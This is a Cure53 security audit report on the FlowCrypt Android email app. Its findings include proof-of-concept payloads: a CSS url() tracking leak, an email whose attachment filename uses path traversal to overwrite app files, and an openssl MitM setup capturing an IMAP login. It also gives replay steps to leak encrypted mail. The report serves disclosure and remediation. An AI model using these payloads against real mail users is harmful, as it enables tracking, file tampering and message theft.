Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report FlowCrypt Android App 06.2020

Cure53, Dr.-Ing. M. Heiderich, BSc. C, Kean, MSc. D. Weißer, M. Kinugawa

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

> *"FlowCrypt is email encryption software. It uses OpenPGP to encrypt outgoing messages on your device with keys only you and your recipient have access to."*
> From https://flowcrypt.com/docs/guide/overview.html

This report describes the results of a security assessment targeting several parts of the FlowCrypt ecosystem. Carried out by Cure53 in June 2020, the project entailed a penetration test and a source code audit of the FlowCrypt items in scope.

It should be noted that the assignment belongs to an established cooperation between Cure53 and FlowCrypt, marking the third test iteration. To clarify, the first assessment zoomed in on the FlowCrypt iOS app and the underlying cryptography. This was completed in January 2020 and documented under *FLO-01*. Next, *FLO-02,* which took place in March 2020, focused on cryptography and the FlowCrypt browser add-on happened in March 2020. For the current project, the Cure53 team was tasked with investigating the Android application and the utilized native-code cryptography parts.

In June 2020, four members of the Cure53 team approached the test-targets, examining them with a range of methods in CW24 2020. They worked against a budget of ten person-days, covering preparations, testing, auditing and report writing. The methodology chosen for this test was a white-box approach. Thus, Cure53 had access to source code, debug builds of the APK, as well as other test-supporting material.

The project started on time and the testing team managed to reach good coverage levels after progressing at a good pace. The communications during this test were done using the same dedicated private Slack channel that was made available for previous assessment. Communications were fluent and helpful as usual, further helping Cure53 achieve all of the project objectives.

As a result of the assessment, Cure53 collected substantial evidence and managed to document seven individual findings. Five items were classified to be security vulnerabilities and represent general weaknesses with lower exploitation potential. Note that two issues were given *Critical* severity levels, posing major risks for FlowCrypt. One of them lets a malicious actor overwrite arbitrary existing files on a user-device, accomplishing it simply by sending a maliciously prepared email. The other makes a Man-in-the-Middle (MitM) attack possible. Other issues are more privacy-related and involve, among others, possibilities to leak information using HTTP requests and DoS. Note that live-reporting was used during these tests and the maintainer managed to fix several issues while the test was still ongoing. Cure53 successfully verified those fixes.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

In the following sections, the report will first shed light on the scope and key test parameters. Next, all findings will be discussed in a chronological order alongside technical descriptions, as well as PoC and mitigation advice when applicable. Finally, the report will close with broader conclusions about this 2020 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team's observations and collected evidence. Tailored hardening recommendations for FlowCrypt are also incorporated into the final section.

Scope

- **FlowCrypt Android App & Crypto**
  - https://github.com/FlowCrypt/flowcrypt-mobile-core/
  - https://github.com/FlowCrypt/flowcrypt-android
  - All shared in sources folder linked below
- **Sources were shared with Cure53**
- **Binaries were shared with Cure53**
- **Test-supporting material was shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Test Methodology

The following section documents the testing methodology applied during this engagement and sheds light on the various areas of the code and implementation subject to inspection and audit. It further clarifies which areas were examined by Cure53 but did not yield any findings, consistently to the currently rather early stages of development.

Penetration Test & Source Code Audit of the FlowCrypt Android App

A list of items below seeks to detail some of the noteworthy tasks undertaken during the mobile application security testing phase of this project. This is to underline what the Cure53 testers covered during their analysis, particularly as regards mobile application's security items within FlowCrypt.

- Malicious email payloads - such as *HTTPLeaks* - were imported to email inboxes by using the *Thunderbird* Add-On *ImportExportTools NG*[1].
- The sanitization via the "*sanitize-html*" library for the HTML content in email was checked. Here, in particular, the attention was paid to XSS or HTTP leaks.
- The used version was checked and Cure53 confirmed that it does not contain any known issues.
- The configuration of allowed elements and attributes was checked. It did not allow XSS; however it was found that the attribute which can send HTTP requests is explicitly allowed and leads to HTTP leaks (see FLO-03-002). However, apart from this, no other leaks were contained in the *Cure53 HTTPLeaks*[2] repository, resulting in no requests which could leak IP address, operating system, browser version or timestamp of the email access.
- The OpenPGP implementation of FlowCrypt was tested for the EFail bug which leaks the plain-text of encrypted emails by sending the decrypted content to a URL via a preceding *HTML* tag. Strict remote content restriction prevented the EFail[3] payload from executing.
- The additional validation by "*transformTags*" was checked. Here, it was confirmed that the *src* attribute of the *img* tag is converted properly and it does not lead to HTTP leaks. The string replacement processing for the image tags to "*[img]*" string was checked. For the string which is replaced, the unpredictable random string is used and it was confirmed that this does not break the sanitized HTML. The string-replacement processing for the *Content-ID* (*cid:*) was checked. No issues were found.

[1] https://addons.thunderbird.net/en-US/thunderbird/addon/importexporttools-ng/
[2] https://github.com/cure53/HTTPLeaks/blob/master/leak.html
[3] https://efail.de/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

- The local storage was scanned for sensitive information stored in plain-text, such as private keys, passphrases, node HTTP certificates, UUID and IMAP credentials. While none of the mentioned items were found to be leaked, it was discovered that plain-text emails are exposed in the local cache (FLO-03-001).
- The mobile app's network communications were also reviewed. It was found that plain-text communications are not in use. The network communication with SMTP/IMAP servers was also checked and it was found that MitM attacks are possible due to a missing configuration flag (FLO-03-006).
- DoS vectors were attempted via malformed emails and public keys. This led to the discovery of a problem with handling huge keys (FLO-03-005)
- The handling (storing, loading, forwarding) of email attachments was tested, leading to the discovery of an issue that allows overwriting arbitrary files owned by the app (FLO-03-004). The enforcement of the FlowCrypt *Org Rules* was tested with a provided account. It was confirmed that the affected email cannot be set up without importing a key and that key backups are disabled.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *FLO-03-001*) for the purpose of facilitating any future follow-up correspondence.

FLO-03-001 Android: Unencrypted cache exposes plain-text emails *(Medium)*

During testing, it has been discovered that the local app cache contains raw MIME messages of the emails viewed in the app. This exposes some mails which have not been PGP-encrypted. The impact of this issue was evaluated as *Medium,* since the leak appears inconsistent with the local encryption measures undertaken in other parts of the application, for instance the FlowCrypt database.

Affected Files:
*/data/data/com.flowcrypt.email/files/emails/**

The problem originates from the following cache implementation using *DiskLrucache*. The highlighted code parts show that emails are stored directly to the cache without local encryption. However, this only applies to the latest 50Mb of viewed emails and reveals only plain-text messages as encrypted mails are stored in their PGP message format.

Affected File:
FlowCrypt/src/main/java/com/flowcrypt/email/api/email/MsgsCacheManager.kt

Affected Code:

```
private const val CACHE_SIZE: Long = 1024 * 1000 * 50 //50Mb
[...]
 fun addMsg(key: String, inputStream: InputStream) {
       val editor = diskLruCache.edit(key) ?: return
       val bufferedSink = editor.newSink(0).buffer()
       bufferedSink.writeAll(inputStream.source())
       bufferedSink.flush()
       editor.commit()
```

It is recommended to encrypt emails before storing them in the cache. This will prevent cache leaks in the event that the local storage gets exposed via a backup or a lost device.

Fix Note: *This issue was confirmed as resolved and the fix was verified by Cure53.*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

FLO-03-002 Android: HTTP leaks via *style* attribute on *em* tag *(Low)*

It was found that the FlowCrypt Android application is vulnerable to HTTP leaks via a crafted email body. This weakness allows remote attackers to collect information about FlowCrypt users, including IP address, operating system, browser version and the exact time of an email being opened. The email body is handled by the sanitizer, however, currently the *style* attribute is explicitly allowed only on the *em* tag and the HTTP request can be sent via the CSS *url()* function.

The bug can be reproduced by opening the email in which the following HTML is written. A HTTP request will be sent to the *cure53.de* domain.

PoC:

```
<em style="background:url(https://cure53.de/leak)">em</em>
```

The vulnerable code was discovered in the following file.

Affected File:
flowcrypt-mobile-core-master/source/platform/xss.ts

Affected Code:

```
private static ALLOWED_ATTRS = {
  a: ['href', 'name', 'target'],
  img: ['src', 'width', 'height', 'alt'],
  font: ['size', 'color', 'face'],
  span: ['color'],
  div: ['color'],
  p: ['color'],
  em: ['style'], // tests rely on this, could potentially remove
  td: ['width', 'height'],
  hr: ['color', 'height'],
};
```

According to the comment, this code seems to be used only for the test purpose. It is recommended not to allow the *style* attribute on the *em* tag.

Fix Note: *This issue was confirmed as resolved and the fix was verified by Cure53.*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

FLO-03-004 Android: Arbitrary file-write via attachments *(**Critical**)*

Testing the attachment handling of the app, it was discovered that file-names are not sanitized upon downloading, allowing attackers to place files in the application's data directory. This makes it possible for attackers to overwrite the configuration files, destroying the database. Due to the nature of an arbitrary file-write, even more critical ways to exploit the issue are possible. The following raw email includes an attachment which places a file named *bla* in the app's data directory.

poc.eml:

```
MIME-Version: 1.0
Date: Wed, 10 Jun 2020 16:55:21 +0200
Message-ID: <blabla>
Subject: Totally not a virus
From: attacker@madcat.hax
To: victim@sadcat.hax
Content-Type: multipart/related; boundary="000000000000e58fa905a7bc0ab9"

--000000000000e58fa905a7bc0ab9
Content-Type: multipart/alternative; boundary="000000000000e58fa705a7bc0ab8"

--000000000000e58fa705a7bc0ab8
Content-Type: text/plain; charset="UTF-8"

Download me!

--000000000000e58fa705a7bc0ab8--
--000000000000e58fa905a7bc0ab9
Content-Type: image/png; name="age.png"
Content-Disposition: attachment;
filename="/../../../../../../../../data/data/com.flowcrypt.email/bla"
Content-Transfer-Encoding: base64
X-Attachment-Id: ii_kb9h618y0
Content-ID: <ii_kb9h618y0>

aaaa
--000000000000e58fa905a7bc0ab9--
```

Senders of emails should have no control over where attachments are stored on the recipient's device. It is recommended to extract the sole file-name from attachments and ignore the reset of the path.

Fix Note: *This issue was confirmed as fixed and the fix was verified by Cure53.*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

FLO-03-005 Android: Overly large public keys lead to Denial-of-Service *(Low)*

FlowCrypt does not limit the size of imported keys and the number of included identities. This allows attackers to create absurdly large keys, which leads to a persistent Denial-of-Service in the application. If a key with ~10000 identities is imported, the application is unable to display the *Contacts* menu and crashes, making it impossible to delete the corresponding contact. Attempting recovery without losing data can prove very difficult for inexperienced users, especially since resetting of the database will be required.

It is recommended to reject keys that exceed a realistic length or number of identities.

Fix Note: *This issue was confirmed as addressed and the fix was verified by Cure53.*

FLO-03-006 Android: Missing config allows MitM attacks for SMTP/IMAP *(**Critical**)*

FlowCrypt fetches and sends emails using the IMAP/SMTP protocols. It was discovered that the app does not verify the SSL certificates of encrypted connections, allowing attackers to run Man-in-the-Middle attacks against users. This makes it possible to fetch the victim's emails and use the account to write messages. In order to test the issue, a MitM attack was simulated by redirecting the IMAP's address via the */etc/hosts* file. Shown below is a *shell* excerpt containing an *openssl* command that starts an SSL socket on port 993 and the IMAP login sequence.

PoC:

```
# openssl s_server -key /etc/letsencrypt/live/test.hax/privkey.pem -cert
/etc/letsencrypt/live/test.hax/cert.pem -CAfile
/etc/letsencrypt/live/test.hax/chain.pem -accept 993 -crlf
S: * OK IMAP4rev1 Service Ready
C: DX0 CAPABILITY
S: * CAPABILITY IMAP4rev1
S: DX0 OK CAPABILITY completed
C: DX1 LOGIN victim@gmail.com ya29.a0AfH6SMAUzuNJN[...]AQr0Yh-evXYqSrqv
```

Although the certificate used is only valid for the *test.hax* domain, it can be used to intercept a connection to *gmail.com*. For communications with email servers, FlowCrypt utilizes the *com.sun.mail* library. The root cause behind this vulnerability is that the certificate validation flag (*mail.imap.ssl.checkserveridentity*) is set to *false* by default[4].

It is recommended to set *mail.imap.ssl.checkserveridentity* and *mail.smtp.ssl.checkserveridentity* to *true* in order to enforce the validation of certificates. Insecure by default is a bad concept, especially for libraries that transport personal data like emails and credentials. Although the missing validation is stated in the documentation, it can be

[4] https://javaee.github.io/javamail/docs/api/com/sun/mail/imap/package-summary.html

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

assumed that many developers are unaware of the problem. This is why it should be considered to submit an issue to the library's developers in an attempt to move away from insecure default settings.

Fix Note: *This issue was confirmed as fixed and the fix was verified by Cure53.*

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

FLO-03-003 Android: General hardening recommendations *(Info)*

During the assessment of the Android app, it was discovered that not all security flags offered by Android are utilized. The absence of these flags does not introduce a security issue but could allow an attacker to exploit other problems more easily. As such, the flags described below should be considered as defense-in-depth mechanisms.

FLAG_SECURE

By setting the *FLAG_SECURE* for Android views, the app's windows can no longer be manually "*screenshotted*"[5]. Additionally, the items will be excluded from automatic screenshots or screen-recordings, which ultimately prevents screen data from being leaked to other apps. Including this flag is especially recommended for the implemented views that show sensitive data, e.g. the *login view*.

filterTouchesWhenObscured

The *filterTouchesWhenObscured* security flag for views protects against so-called Tapjacking attacks. A malicious app can overlap the currently active app with a hidden screen overlay. The latter would need to have the ability to intercept data entered into the underlying app. Once the flag is set, a view will no longer receive touches when it is obscured by another window, therefore making this attack infeasible[6].

[5] https://developer.android.com/reference/android/view/WindowManager.L...tml#FLAG_SECURE
[6] https://blog.devknox.io/tapjacking-android-prevent/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

FLO-03-007 General: Replay of encrypted contents leads to plain-text leak *(High)*

It was found that an attacker can retrieve plain-text of encrypted mails, provided that they were previously sent to the victim. This can be achieved by including the encrypted data block into the email's body. If the victim responds to the email in question without discarding the original message, the decrypted content is leaked to the attacker. FlowCrypt supports partially encrypted emails wherein only a selection of the message's body is encrypted. This is what makes the attack realistic, since encrypted message blocks can be hidden in longer conversations.

Steps to reproduce:

1. Mallory intercepts an encrypted message sent from Alice to Bob.
2. Mallory starts a conversation with Bob. In order to make this attack work, Bob must not discard the original message when replying to an email.
3. At some point when the conversation is long enough, Mallory slips the intercepted PGP block into the conversation and leaves the rest of the email unencrypted.
4. When Bob receives the message, the PGP block will be decrypted automatically.
5. As Bob will likely not read the earlier conversation again, he will have no way of noticing the additional text. However, if he expectedly responds to the message, the decrypted content will be leaked to Mallory.

An alternative way to exploit this issue requires social engineering and makes use of the forwarding feature. Actions that need to be completed for this alternative route are enumerated next.

Steps to reproduce:

1. Mallory intercepts an encrypted message which is sent from Alice to Bob.
2. Mallory sends Bob a very long text message which includes the encrypted PGP block and a short text which convinces Bob to forward this email to Trudy without reading the actual message.
3. If Bob follows Mallory's instructions and forwards the email, FlowCrypt will automatically decrypt the included PGP block and the plaintext is leaked to Trudy.

It should be noted that this issue is rather a design flaw. Specifically, it predominantly relies on the lack of awareness or a somewhat lazy behavior of users. The issue was discussed with the FlowCrypt developers but a proper solution to this problem is difficult, simply because there are too many different ways to exploit the issue. It is recommended to find a good balance between raising awareness and implementing

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

actual countermeasures that, for example, prevent the decryption of messages where the sender does not match the encrypter.

Conclusions

As a context in which the verdict of this Cure53 assessment of the FlowCrypt ecosystem can be read, it must be underscored that the examined compound is still at an early stage of its development. In that sense, issuing a holistic and final conclusion about the observed security premise would be premature and ill-advised. After spending ten days on the scope in June 2020, four members of the Cure53 team nevertheless managed to identify both strengths and weaknesses of the examined ecosystem.

Most importantly and despite reservations about maturity, Cure53 is optimistic about the FlowCrypt Android app and its surroundings. From a security standpoint, one of the most important aspects to comment on in connection to the assessment can be tied to the way of handling problems reported by Cure53 in-house. Specifically, all vulnerabilities have been resolved quickly and the lessons learned are likely to contribute to a solid foundation for future development.

This indicates that the FlowCrypt team has substantial internal knowledge and awareness of the challenges faced by modern web applications. All of the verifications performed by Cure53 during this audit were conducted directly on the application and in the source code, so as to expand checks for possible bypasses. Moreover, the developers were very well-prepared for the test, sharing comprehensive scope and architecture documents in advance. Communication went flawlessly as questions were answered quickly. All live-reported issues were addressed immediately.

In addition to FlowCrypt's good foundation, attention should be paid to subtleties in the handling and implementation of the local storage (see FLO-03-001) and the restriction of remote content noted in FLO-03-002. Beyond that, the testing methodology section in this report provides further attack vectors to look out for as the FlowCrypt complex grows. It is clear to Cure53 that new features such as digital signatures, should be subject to particular scrutiny in future tests.

All of the discovered issues relate to email handling and do not affect cryptographic operations themselves. For cryptographic functions, the app utilizes an external service written in node which calls functions from a third-party library. This service has been reviewed in earlier assessments and was mostly ignored during the test. Communication between the app and the node service happens via an encrypted HTTP connection. Certificate generation on startup and two-way pinning ensure that no malicious local app can send requests to the service.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Next up, fetching and sending emails is done via a third-party library. It was discovered that missing configuration flags allow MitM attackers to read the data exchanged between the app and mail servers (FLO-03-006). One of the most interesting aspects of email related apps is how they handle files: as attachments names can include a full path, it is important to use proper sanitization methods. Issue FLO-03-004 describes problems that can occur when attachment names are not properly sanitized.

Several DoS vectors were explored, including malformed mails, PGP messages and keys. In the process, an issue that breaks the contacts menu by using overly large public keys (FLO-03-005) was found. The HTML sanitization used for the HTML mail was checked. When the configuration of the third-party sanitizer used is checked, a style attribute which leads to HTTP leaks (FLO-03-002). According to the comment in the code, the HTML attribute in question was intentionally enabled for testing purposes. To reduce the attack surface, it is important that the production-deployed features are minimized. No issues like XSS or similar could be spotted.

All in all, in light of the findings from this June 2020 project, it is clear that there is still room for improvement in the FlowCrypt project. In Cure53's opinion, this is not a surprise, particularly given the early stage of the software's general lifespan. This report shows that right now FlowCrypt is benefitting from being at that sweet spot where audits deliver value while the software is still flexible enough to fix even the deeply-nested issues.

Cure53 would like to thank Tomáš Holub, Denis Bondarenko, Alex Alvarado and Limon Monte from the FlowCrypt team for his excellent project coordination, support and assistance, both before and during this assignment. Special gratitude needs to be extended to Open Technology Fund Washington for sponsoring this project.